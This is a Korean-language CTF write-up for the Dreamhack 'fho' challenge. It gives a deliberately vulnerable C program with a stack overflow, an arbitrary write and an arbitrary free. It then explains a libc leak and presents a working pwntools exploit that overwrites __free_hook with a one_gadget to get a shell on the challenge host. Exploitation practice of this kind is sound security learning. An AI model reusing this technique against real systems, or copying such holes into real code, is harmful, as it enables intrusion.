code
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
Full RELRO
, Canary
found, NX
enabled, PIE
enabled[rbp-0x50]
[rbp-0x48]
[rbp-0x40]
[rbp-0x8]
로컬과 리모트가 이 부분이 달랐다. 따라서 docker로 열고 제대로 된 ret 주소를 확인했다.
main
에 break를 걸어놓고 main stack의 return address
를 보자
__libc_start_main+231
로 돌아가는 것을 볼 수 있다.
그러면 buf를 over해서 받아 RET까지 읽도록 하자! buf 0x38, Canary 0x8, SFP 0x8바이트 총 0x48만큼 보내면 ret을 읽을 수 있고, 그 값은 __libc_start_main+231
의 진짜 주소이다.
거기서 (libc.symbols[’__libc_start_msin’] + 231)
을 빼주면 libc base
를 구할 수 있고, system
, free_hook
, onegadget
, /bin/sh 모두 구할 수 있다.
exploit
libc base를 구하고, __free_hook
을 one_gadget
으로 바꿨다. 그러면 나중에 free()
할 때, one_gadget
이 실행될 것이다!!
from pwn import *
p = remote('host3.dreamhack.games', 21219)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
og = [0x4f3d5, 0x4f432, 0x10a41c]
buf = b'A' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
lb = leak - libc.symbols['__libc_start_main'] - 231
free_hook = lb + libc.symbols['__free_hook']
p.sendlineafter(b': ', str(free_hook).encode())
one_gadget = lb + og[1]
p.sendlineafter(b': ', str(one_gadget).encode())
p.sendlineafter(b': ', b'0')
p.interactive()